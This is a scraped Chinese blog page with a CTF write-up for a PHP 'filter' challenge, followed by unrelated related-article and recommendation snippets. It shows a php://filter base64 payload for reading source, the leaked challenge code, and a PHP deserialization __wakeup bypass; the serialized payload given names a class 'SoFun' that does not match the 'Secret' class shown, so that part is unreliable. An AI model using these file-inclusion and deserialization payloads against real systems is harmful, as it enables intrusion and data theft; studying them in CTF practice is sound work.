filter CTF





输入url

http://dc1ce3ad-eed4-48fd-a068-71aef12f7654.node.vaala.ink?file=demo.php



参考题目filter

php://filter:读取Php文件

?file=php://filter/convert.base64-encode/resource=

http://hhh?file=php://filter/convert.base64-encode/resource=demo.php



解码出来:

查看一下index.php

<?php
error_reporting(0);
if (!$_GET['file'])
echo '?file=demo.php<br>';
else
{
$file = $_GET['file'];
if (strstr($file, "../") || stristr($file, "tp") || stristr($file, "input") || stristr($file,"data"))
exit("Oh god, please no!");
else if (preg_match("/config/i", $file))
exit("i will not show it to you!");
include($file);
}
//play.php
?>

查看一下play.php

<?php
require_once ('config.php');
class Secret
{
public $flag = '';
function __construct($flag)
{
$this->flag = $flag;
}
function __wakeup()
{
$this->flag = "hacker!";
}
function __destruct()
{
if ($this->flag == '114514')
{
global $FLAG;
echo $FLAG;
}
else
echo $this->flag;
}
}
$s = unserialize($_GET['code']);
?>

$s = unserialize($_GET['code']);

反序列化

反序列化 漏洞

php允许保存一个对象方便以后重用:序列化

serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值

unserialize则可以将serialize生成的字符串变换回变量

序列化字符串,表示对象属性个数的值大于实际属性个数时,就会跳过wakeup方法的执行

明确了这些之后,就可以构造出Payload了,需反序列化的对象为:

O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}

O:5:”SoFun” 指的是 类:5个字符:SoFun

:2: 指的是 有两个对象

S:7:”\00\00file” 指的是有个属性,有7个字符,名为\00\00file

s:8:”flag.php” 指的是属性值,有8个字符,值为flag.php

值得注意的是,file是protected属性,因此需要用\00*\00来表示,\00代表ascii为0的值。

https://www.freebuf.com/news/172507.html

filter CTF的更多相关文章

  1. django 操作数据库--orm(object relation mapping)---models

    思想 django为使用一种新的方式,即:关系对象映射(Object Relational Mapping,简称ORM). PHP:activerecord Java:Hibernate C#:Ent ...

  2. CTF 文件包含与伪协议

    正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议. 先放出原文链接(http://www.freebuf.com/column/150028 ...

  3. php文件包含漏洞(input与filter)

    php://input php://input可以读取没有处理过的POST数据.相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置.php:/ ...

  4. 实战经验丨CTF中文件包含的技巧总结

    站在巨人的肩头才会看见更远的世界,这是一篇技术牛人对CTF比赛中文件包含的内容总结,主要是对一些包含点的原理和特征进行归纳分析,并结合实际的例子来讲解如何绕过,全面细致,通俗易懂,掌握这个新技能定会让 ...

  5. CTF线下防御战 — 让你的靶机变成“铜墙铁壁”

    本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...

  6. 结合order by 解CTF某题

    真tmd不容易 <?php error_reporting(0); if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { echo '& ...

  7. 百道CTF刷题记录(一)

    简介 最近在刷CTF题,主攻Web,兼职Misc Shiyanbar 0x01 简单的登陆题 简单概括: 考点: %00截断正则 CBC字节翻转攻击 难度: 难 WP:https://blog.csd ...

  8. 某CTF代码审计题

    记一次参加CTF比赛翻车记!   开始还是挺有信心的,毕竟也是经常打一些CTF锻炼,然而比赛发现大佬们平时不显山不漏水的一比赛全出来了!赛后看了一下各题的writeup发现自己的确技不如人啊!借鉴一个 ...

  9. 20. CTF综合靶机渗透(十三)

    靶机说明: Wellcome to "PwnLab: init", my first Boot2Root virtual machine. Meant to be easy, I ...

  10. 成都大学CTF 网络攻防演练平台 WP

    web1 输入框那里鼠标右键,审查元素,删除maxlength web2 http://ctf.cdusec.org:8082/web2/?cdusec=tql web3 同上,用火狐hackbar或 ...

随机推荐

  1. centos8.5安装kvm及kvm虚拟机的端口映射问题

    1.安装KVM   grep -Ei 'vmx|svm' /proc/cpuinfo|more  #查看硬件是否支持虚拟化 yum install -y virt-* libvirt qemu-img ...

  2. Zookeeper ZAB协议-Leader&Followe 对象创建和启动源码解析

    这篇博客主要是解析了Leader,Follower 对象的创建,相对来说比较简单,主要是了解一下在实例化的时候创建了哪些对象,这些对象会在数据传输的过程中发挥比较打的作用,如果有了解过的,可以直接跳过 ...

  3. Git使用的一些文章

    教程: 首先[Git的基础] | 猴子都能懂的GIT入门 | 贝格乐(Backlog) Learn Git Branching 配置 Git 本地配置多个ssh key: https://www.cn ...

  4. Linux firewall 命令

    常用命令 开启端口命令 firewall-cmd --zone=public--add-port=443/tcp --permanent --zone  #作用域 --add-port=80/tcp ...

  5. java技术系列(三) 多线程之并行处理和同步

    java同步器: 1,Semaphone: 信号量 2,CountDownLatch:倒计数门栓 3,CyclicBarrier 障栅 : 4,Exchanger :

  6. TODOList小黄条

    TODOList http://www.yynote.cn/ 总结 windows中的神器

  7. maridb数据库表及字段增删改

    mariadb数据类型 mariadb数据类型分为数字.日期.时间以及字符串值. 适用类型原则:够用就行,尽量使用范围小的,而不用大的 常用数据类型: 1.整数 int,bit   #例如 年纪 适用 ...

  8. mariadb数据库用户管理(创建、赋权、)

    数据库查看当前用户 select user(): MariaDB [(none)]> select user(); +----------------+ | user() | +-------- ...

  9. 【C学习笔记】day1-2 输出乘法口诀表

    #include<stdio.h> int main() { for (int m = 1; m <= 9; m++) for (int n = 1; n <= m; n++) ...

  10. UCF Local Programming Contest 2018 C. First Last Sorting 思维、简单DP

    C. First Last Sorting链接:https://nanti.jisuanke.com/t/44141